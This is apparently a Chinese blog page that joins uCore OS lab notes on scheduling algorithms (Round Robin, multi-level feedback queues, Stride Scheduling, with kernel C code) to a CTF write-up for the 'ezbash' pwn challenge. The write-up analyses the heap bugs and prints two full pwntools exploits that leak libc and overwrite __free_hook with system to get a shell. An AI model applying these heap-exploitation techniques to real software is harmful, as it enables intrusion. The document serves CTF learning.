idleproc->need_resched = 1; /* 设置该空闲进程为可调度 */
set_proc_name(idleproc, "idle"); /* 设置该进程的name为"idle" */
nr_process ++; /* 将全局线程的数目加1 */

current = idleproc; /* 设置当前进程为idleproc */

int pid = kernel_thread(init_main, NULL, 0); /* 先设置trapframe,最后调用do_fork(详情请参考起前面的实验) */
if (pid <= 0) { /* 内核进程创建失败 */
panic("create init_main failed.\n");
}

initproc = find_proc(pid); /* 通过pid查找proc_struct,并赋值给initproc */
set_proc_name(initproc, "init"); /* 设置该进程的name为"init" */

assert(idleproc != NULL && idleproc->pid == 0);
assert(initproc != NULL && initproc->pid == 1);
}
  • 当所有的初始化完成后,uCore执行 cpu_idle 函数,并在其内部循环执行 schedule 函数
1
2
3
4
5
6
7
8
9
10
struct proc_struct *current = NULL; /* 指向当前的进程 */ 

void
cpu_idle(void) {
while (1) {
if (current->need_resched) { /* 是否需要被调度 */
schedule(); /* 准备开始调度进程 */
}
}
}
  • 调用 sched_class_enqueue 将当前进程添加进就绪队列中(因为当前进程要被切换出CPU了)
  • 然后,调用 sched_class_pick_next 获取就绪队列中可被轮换至CPU的进程
  • 如果存在可用的进程,则调用 sched_class_dequeue 函数,将该进程移出就绪队列,并在之后执行 proc_run 函数进行进程上下文切换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void
schedule(void) {
bool intr_flag;
struct proc_struct *next;
local_intr_save(intr_flag);
{
current->need_resched = 0;
/* 相比与上一个实验要朴实得多,可能做了优化吧 */
if (current->state == PROC_RUNNABLE) {
sched_class_enqueue(current); /* 将current添加进就绪队列中 */
}
if ((next = sched_class_pick_next()) != NULL) { /* 获取就绪队列中可被轮换至CPU的进程 */
sched_class_dequeue(next); /* 如果存在可用的进程,将该进程移出就绪队列 */
}
if (next == NULL) {
next = idleproc; /* 判断将要被调度的进程为空闲进程 */
}
next->runs ++; /* 目标进程被调度的次数增加 */
if (next != current) {
/* 如果调度进程不是当前进程,则运行proc_run,否则会重新进入空闲进程(循环) */
proc_run(next); /* 执行进程调度操作(上下文切换) */
}
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
}
  • sched_class_enqueue 的具体实现:
1
2
3
4
5
6
static inline void
sched_class_enqueue(struct proc_struct *proc) {
if (proc != idleproc) {
sched_class->enqueue(rq, proc); /* RR_enqueue的外包装 */
}
}
  • sched_class_pick_next
1
2
3
4
static inline struct proc_struct *
sched_class_pick_next(void) {
return sched_class->pick_next(rq); /* RR_pick_next的外包装 */
}
  • sched_class_dequeue
1
2
3
4
static inline void
sched_class_dequeue(struct proc_struct *proc) {
sched_class->dequeue(rq, proc); /* RR_dequeue的外包装 */
}

设计多级反馈队列调度算法

我自己的理解:

  • 其实多级反馈队列就是把进程进行了优先级分级,在每一级中的时间片长度不一样(第一级的优先度最高,时间片最短,被 CPU 调度的机会更多)
  • 在同一个优先级的队列内使用时间片轮转算法
  • CPU 如果一次没有执行完毕目标进程,那么该进程就会降级(降到下一级)
  • 在最后一级中,如果一次还是没有执行完毕目标进程,那么下次就会在这一级中实现 RR 时间片轮转算法
  • PS:至于为什么要这样搞,这就是数学家用公式算出来的,有关数学公式的理论本人一概不会

具体的过程我就随便抄了一个:(其实我也写了一个,就不献丑了)

  • 在 proc_struct 中添加总共N个多级反馈队列的入口,每个队列都有着各自的优先级,编号越大的队列优先级约低,并且优先级越低的队列上时间片的长度越大,为其上一个优先级队列的两倍;并且在PCB中记录当前进程所处的队列的优先级
  • 处理调度算法初始化的时候需要同时对N个队列进行初始化
  • 在处理将进程加入到就绪进程集合的时候,观察这个进程的时间片有没有使用完,如果使用完了,就将所在队列的优先级调低,加入到优先级低1级的队列中去,如果没有使用完时间片,则加入到当前优先级的队列中去
  • 在同一个优先级的队列内使用时间片轮转算法
  • 在选择下一个执行的进程的时候,有限考虑高优先级的队列中是否存在任务,如果不存在才转而寻找较低优先级的队列(有可能导致饥饿)
  • 从就绪进程集合中删除某一个进程就只需要在对应队列中删除即可
  • 处理时间中断的函数不需要改变

练习2-实现 Stride Scheduling 调度算法

uCore 的 Round-Robin 算法可以保证每个进程得到的 CPU 资源是相等的,但我们希望调度器能够更加智能的为每个进程分配合理的 CPU 资源,让 每个进程得到的时间资源与它们的优先级成正比关系 ,而 Stride Scheduling 调度算法就是这样的一种典型而简单的算法

其中,该算法的有如下几个特点:

  • 可控性:可以证明 Stride Scheduling 对进程的调度次数正比于其优先级
  • 确定性:在不考虑计时器事件的情况下,整个调度机制都是可预知和重现的

算法简析:

在实验中使用的 Stride Scheduling 算法是结合时间片的一种优先级调度策略,每一个时间片结束时,选择就绪状态的进程中 Pass 值最小的进程分配一个时间片,在一个时间段中进程所获得的时间片数量和进程的优先级大致成正比

该算法的基本思想如下:

  • 为每个 runnable 的进程设置一个当前状态 stride,表示该进程当前的调度权,另外定义其对应的 pass 值,表示对应进程在调度后 stride 需要进行的累加值
  • 每次需要调度时,从当前 runnable 态的进程中选择 stride 最小的进程调度
  • 对于获得调度的进程P,将对应的 stride 加上其对应的步长 pass(只与进程的优先权有关系)
  • 在一段固定的时间之后,重新调度当前 stride 最小的进程(返回步骤二)

总之:

其实就是模仿 Round Robin 调度算法来重新写一个 Stride Scheduling,具体的优化策略需要结合一些数学理论,所以我直接抄答案了,并在答案中理解该算法

下面便是具体的实现过程:(有和 Round Robin 的对比)

一,stride_init:进行初始化操作

1
2
3
4
5
6
static void
stride_init(struct run_queue *rq) {
list_init(&(rq->run_list)); /* 置空链表 */
rq->lab6_run_pool = NULL; /* 运行池中的条目初始化为空 */
rq->proc_num = 0; /* 进程总数变为'0' */
}
1
2
3
4
5
static void /* 对比Round Robin */
RR_init(struct run_queue *rq) {
list_init(&(rq->run_list)); /* 置空链表 */
rq->proc_num = 0; /* 进程总数变为'0' */
}

二,stride_enqueue:用于将某个进程添加进传入的队列中

1
2
3
4
5
6
7
8
9
10
static void
stride_enqueue(struct run_queue *rq, struct proc_struct *proc) {
rq->lab6_run_pool =
skew_heap_insert(rq->lab6_run_pool, &(proc->lab6_run_pool), proc_stride_comp_f);
if (proc->time_slice == 0 || proc->time_slice > rq->max_time_slice) {
proc->time_slice = rq->max_time_slice; /* 初始化时间片(如果进程在当前的执行时间片已经用完,需要等到下一次有机会运行时才能再执行一段时间) */
}
proc->rq = rq; /* 更新运行队列 */
rq->proc_num ++; /* 运行队列中的进程数增加 */
}
1
2
3
4
5
6
7
8
9
10
static void
RR_enqueue(struct run_queue *rq, struct proc_struct *proc) {
assert(list_empty(&(proc->run_link)));
list_add_before(&(rq->run_list), &(proc->run_link)); /* 插入结点前 */
if (proc->time_slice == 0 || proc->time_slice > rq->max_time_slice) {
proc->time_slice = rq->max_time_slice; /* 初始化时间片(如果进程在当前的执行时间片已经用完,需要等到下一次有机会运行时才能再执行一段时间) */
}
proc->rq = rq; /* 更新运行队列 */
rq->proc_num ++; /* 运行队列中的进程数增加 */
}

三,stride_dequeue:用于将某个进程从传入的队列中移除

1
2
3
4
5
6
static void
stride_dequeue(struct run_queue *rq, struct proc_struct *proc) {
rq->lab6_run_pool =
skew_heap_remove(rq->lab6_run_pool, &(proc->lab6_run_pool), proc_stride_comp_f);
rq->proc_num --; /* 运行队列中的进程数减少 */
}
1
2
3
4
5
6
static void
RR_dequeue(struct run_queue *rq, struct proc_struct *proc) {
assert(!list_empty(&(proc->run_link)) && proc->rq == rq);
list_del_init(&(proc->run_link)); /* 脱链 */
rq->proc_num --; /* 运行队列中的进程数减少 */
}

四,stride_pick_next:涉及到了选取最小 Stride 值的进程,以及 stride 值的更新

1
2
3
4
5
6
7
8
9
10
static struct proc_struct *
stride_pick_next(struct run_queue *rq) {
if (rq->lab6_run_pool == NULL)
return NULL;
struct proc_struct *p = le2proc(rq->lab6_run_pool, lab6_run_pool);
if (p->lab6_priority == 0)
p->lab6_stride += BIG_STRIDE;
else p->lab6_stride += BIG_STRIDE / p->lab6_priority;
return p;
}
1
2
3
4
5
6
7
8
static struct proc_struct *
RR_pick_next(struct run_queue *rq) { /* [首次适配] */
list_entry_t *le = list_next(&(rq->run_list));
if (le != &(rq->run_list)) {
return le2proc(le, run_link);
}
return NULL;
}

五,stride_proc_tick:和 RR_proc_tick 一致

1
2
3
4
5
6
7
8
9
static void
stride_proc_tick(struct run_queue *rq, struct proc_struct *proc) {
if (proc->time_slice > 0) {
proc->time_slice --; /* 进行时间片的递减 */
}
if (proc->time_slice == 0) {
proc->need_resched = 1; /* 如果用完时间片,那么就使该进程变成可调度状态,等待再次调度 */
}
}
1
2
3
4
5
6
7
8
9
static void
RR_proc_tick(struct run_queue *rq, struct proc_struct *proc) {
if (proc->time_slice > 0) {
proc->time_slice --; /* 进行时间片的递减 */
}
if (proc->time_slice == 0) {
proc->need_resched = 1; /* 如果用完时间片,那么就使该进程变成可调度状态,等待再次调度 */
}
}

ezbash

1
2
3
4
5
➜  桌面 ./ezbash     
hacker:/$ ls
hacker:/$ whoami
whoami: command not found
hacker:/$
1
2
3
4
5
6
7
8
ezbash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=de2f75ca05ea6123715bd058488ab232cac69e13, for GNU/Linux 3.2.0, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/ezbash'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release versi

入侵思路

程序的主体逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void pwn()
{
int ret; // [rsp+Ch] [rbp-14h]
char *command_str; // [rsp+10h] [rbp-10h]
const char **command_list; // [rsp+18h] [rbp-8h]

do
{
printf("\x1B[33mhacker:%s$ \x1B[0m", dest); // 打印字符(dest:/.....)
command_str = input_command();
command_list = (const char **)break_command(command_str);
ret = analyse_command(command_list);
free(command_str);
free(command_list);
}
while ( ret );
}
  • 关键步骤为:输入命令,分割命令,执行命令

analyse_command 为执行命令的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall analyse_command(const char **command_list)
{
int i; // [rsp+1Ch] [rbp-4h]

if ( !*command_list )
return 1LL;
for ( i = 0; i < (int)num_11(); ++i ) // 循环12次
{
if ( !strcmp(*command_list, command_list_system[i]) )// 变量系统提供的命令列表,获取正确的命令
return ((__int64 (__fastcall *)(__int64))command_entry[i])((__int64)command_list);// 执行并返回对应的函数入口地址
}
printf("%s: command not found\n", *command_list);
return 0xFFFFFFFFLL;
}

最后配合使用“command_list_system”和“command_entry”,找到对应函数的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.data:0000564657600020 command_list_system dq offset aCd       ; DATA XREF: help+4A↑o
.data:0000564657600020 ; analyse_command+3C↑o
.data:0000564657600020 ; "cd"
.data:0000564657600028 dq offset aLs ; "ls"
.data:0000564657600030 dq offset aEcho ; "echo"
.data:0000564657600038 dq offset aCat ; "cat"
.data:0000564657600040 dq offset aTouch ; "touch"
.data:0000564657600048 dq offset aRm ; "rm"
.data:0000564657600050 dq offset aMkdir ; "mkdir"
.data:0000564657600058 dq offset aCp ; "cp"
.data:0000564657600060 dq offset aPwd ; "pwd"
.data:0000564657600068 dq offset aHelp ; "help"
.data:0000564657600070 dq offset aExit_0 ; "exit"
.data:0000564657600078 align 20h
.data:0000564657600080 command_entry dq offset cd ; DATA XREF: analyse_command+6A↑o
.data:0000564657600080 ; analyse_command+71↑r
.data:0000564657600080 dq offset ls
.data:0000564657600080 dq offset echo
.data:0000564657600080 dq offset cat
.data:0000564657600080 dq offset touch
.data:0000564657600080 dq offset rm
.data:0000564657600080 dq offset mkdir
.data:0000564657600080 dq offset cp
.data:0000564657600080 dq offset pwd
.data:0000564657600080 dq offset help
.data:0000564657600080 dq offset exit_s
.data:0000564657600080 _data ends

外部看上去没有漏洞,问题就可能出现在“command_entry”里面的这些函数了,接下来就一个一个分析它们

分析完所有代码后,终于发现了BUG:

  • 如果输入的命令特别长,就会获取一个 unsortedbin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void pwn()
{
int ret; // [rsp+Ch] [rbp-14h]
char *command_str; // [rsp+10h] [rbp-10h]
char **command_list; // [rsp+18h] [rbp-8h]

do
{
printf("\x1B[33mhacker:%s$ \x1B[0m", path); // 打印字符(dest:/.....)
command_str = input_command(); /* 输入命令 */
command_list = break_command(command_str); /* 分割命令 */
ret = analyse_command(command_list); /* 分析命令 */
free(command_str); /* 释放"command_str"(输入的命令) */
free(command_list); /* 释放"command_list"(分割后的命令) */
}
while ( ret );
}


char *input_command()
{
int command_len; // [rsp+Ch] [rbp-14h]
int index; // [rsp+10h] [rbp-10h]
int command; // [rsp+14h] [rbp-Ch]
char *command_str; // [rsp+18h] [rbp-8h]

command_len = 336;
index = 0;
command_str = (char *)malloc(0x150uLL);
if ( !command_str )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
while ( 1 )
{
command = getchar();
if ( command == -1 || command == 10 )
break;
command_str[index++] = command;
if ( index >= command_len ) // 杜绝了off-by-one
{
command_len += 336;
command_str = (char *)realloc(command_str, command_len);// realloc重新分配(只大不小)
if ( !command_str )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
}
}
command_str[index] = 0; // 末尾置空,但不能off-by-one
return command_str;
}
  • 函数 input_command 中,分配的空间可以动态增长
  • 函数 pwn 的最后会把分配的空间 free 掉
  • 这就产生了 unsortedbin
1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x5628a05e16f0 /* command_str释放前 */
Size: 0x6a1

Allocated chunk | PREV_INUSE
Addr: 0x5628a05e1d90
Size: 0x6a1
1
2
3
4
5
6
7
8
9
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5643db1456f0 /* command_str释放后 */
Size: 0x6a1
fd: 0x7f6f82a6bbe0
bk: 0x7f6f82a6bbe0

Allocated chunk
Addr: 0x5643db145d90
Size: 0x6a0

但程序的置空操作做的比较好,到处都有,不过有一处有点不完善:

  • 这个函数会根据 echo_data 已写入的长度来置空 echo_data,它并不会完全置空 echo_data

接下来的思路就是:

  • 令一个“文件”调用 echo 命令,获取 unsortedbin
  • 再次调用 echo 命令,修改 size 为一个较小值(至少不会覆盖 main_arena)
  • 调用 cp 命令,在 copy_echo_s 中申请 unsortedbin(并且不会覆盖 main_arena)
  • 最后调用 cat 命令进行打印
1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir('1')
cd('1')
touch('a')
echo('1'*0x540,'a')
echo('1'*8,'a')
cp('a','b')
cat('b')

p.recvuntil('1'*8)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-2018272
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

然后怎么 getshell 呢?这个问题为想了很久,当时就感觉 cp 命令有问题(其他命令都仔细检查过了),然后就摆了……

最后同期那个兄弟打出来了,利用了 realloc 的性质和又一处逻辑漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( name_list1->echo_data && name_list2->echo_data )// 如果两者都存在
{
len1 = strlen(name_list1->echo_data);
len2 = strlen(name_list2->echo_data);
if ( len1 > len2 )
{
name_list_temp2 = (Chunk *)realloc(name_list2->echo_data, len1 + 1);
memset(name_list_temp2->echo_data, 0, len1 + 1);
}
else
{
memset(name_list2->echo_data, 0, len2);
}
return strncpy(name_list_temp2->echo_data, name_list1->echo_data, len1);
}
  • 程序原本想重新分配“name_list2->echo_data”,然后把“name_list1->echo_data”复制过来
  • 但是作者把代码写错了(不知道是不是故意的),导致“name_list1->echo_data”被复制到了“name_list_temp2->echo_data”,也就是“name_list2->echo_data->echo_data”
  • 而“name_list_temp2->echo_data”这个位置是可以控制的(“name_list_temp2+0x18”)

看看实现的代码:

1
2
3
4
5
touch('1')
touch('2')
echo('1'*(0x30-1-6)+p64(system_libc)[:-2],'1') # 不一定是0x30,只要保证len1>len2就好
echo('2'*0x18+p64(free_hook-(0x30-1-6))[:-2],'2')
cp('1','2')

注意:因为我们需要输入“echo xxx -> 1”这样一个字符串,所以“xxx”不能包含“\x00”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p=process('./ezbash')
libc=ELF('./libc-2.31.so')

def cd(path):
p.sendlineafter('$','cd'+' '+path)

def mkdir(name):
p.sendlineafter('$','mkdir'+' '+name)

def touch(name):
p.sendlineafter('$','touch'+' '+name)

def echo(data,name):
p.sendlineafter('$','echo '+data+' -> '+name)

def rm(name,key):
if key ==1:
p.sendlineafter('$','rm'+' '+name)
if key ==0:
p.sendlineafter('$','rm -r'+' '+name)

def cp(name1,name2):
p.sendlineafter('$','cp '+' '+name1+' '+name2)

def ls():
p.sendlineafter('$','ls')

def cat(name):
p.sendlineafter('$','cat'+' '+name)

#gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x2842)\nb *$rebase(0x33BC)\nb *$rebase(0x2148)\nb *$rebase(0x2695)\nb *$rebase(0x235C)\nb *$rebase(0x1483)\nb *$rebase(0x18E0)")

mkdir('1')
cd('1')
touch('a')
echo('1'*0x540,'a')
echo('1'*8,'a')
cp('a','b')
cat('b')

p.recvuntil('1'*8)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-2018272
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc.sym['__free_hook'] + libc_base
system_libc = libc.sym['system'] + libc_base
success("free_hook >> "+hex(free_hook))
success("system_libc >> "+hex(system_libc))

one_gadget_list=[0xe3b2e,0xe3b31,0xe3b34]
one_gadget=one_gadget_list[0]+libc_base
success("one_gadget >> "+hex(one_gadget))

cd('..')
rm('1',0)

touch('1')
touch('2')

echo('1'*(0x30-1-6)+p64(system_libc)[:-2],'1')
echo('2'*0x18+p64(free_hook-(0x30-1-6))[:-2],'2')

cp('1','2')

#pause()

p.interactive()

最后挂一下官方wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
r = process('./ezbash')
libc=ELF('./libc-2.31.so')
context(os='linux', arch='amd64')

sla = lambda x : r.sendlineafter('hacker:/$ ', x)

p = "touch "+"AAA"
sla(p)

p = "touch "+"BBB"
sla(p)

p = "touch "+"CCC"
sla(p)

p = 'echo '+'A'*0xf8+" -> "+'AAA'
sla(p)

p = 'cp AAA BBB'
sla(p)

p = 'echo '+'A'*0xf8
p = p.encode('ISO-8859-1')
p+= p16(0x431)
p = p.decode('ISO-8859-1')
p+= ' -> '+'CCC'
sla(p)

for i in range(10):
p = "touch "+"pad"+str(i)
sla(p)

p = 'cp CCC BBB'
sla(p)

p = 'rm CCC'
sla(p)

p = 'echo '.encode('ISO-8859-1')
p+= p8(0xd0)
p = p.decode('ISO-8859-1')
p+= ' -> '
p+= 'BBB'
sla(p)

p = 'cp BBB pad9'
sla(p)

p = 'cat pad9'
sla(p)

libc.address = u64(r.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-\
1104-0x10-libc.sym['__malloc_hook']
p = 'rm pad0'
sla(p)

p = b'A'*0x130
p+= p64(0)+p64(0x51)
p+= p64(libc.sym['__free_hook']-4)
p+= p64(0)*8+p64(0x51)+p64(0)*6
sla(p)

p = 'touch final1\x00'
sla(p)

p = 'echo /bin/sh -> final1'
sla(p)

p = b'touch '+p64(libc.sym['system'])
sla(p)

p = 'rm final1'
sla(p)

log.success(hex(libc.address))

r.interactive()

小结:

这个题搞得我很痛苦,但也确实有点意思

我分析完了这个题目所有的代码,也弄清楚这种模拟 bash 是怎么写的了,于是我打算尝试自己写一个(一定是没有BUG的)

当时没有做出来,感觉漏洞就在 cp/echo 命令那一块,但就是找不到,最后看到漏洞点后还是比较失望的,就是一处逻辑错误

以前就是菜单题做的多,基于 UAF 或者 off-by-one 的这样一个小点施展各种 house of,像这种有着特定功能的题目没有遇到几次(这次算是最复杂了的吧),想到在以后的工作环境中,这种逻辑错误应该会经常遇到,而 UAF,off-by-one 可能会遇到的少一点

最后感觉自己的 coding 能力不够吧,如果我可以自己写 bash 的话,这种漏洞很容易就可以找出来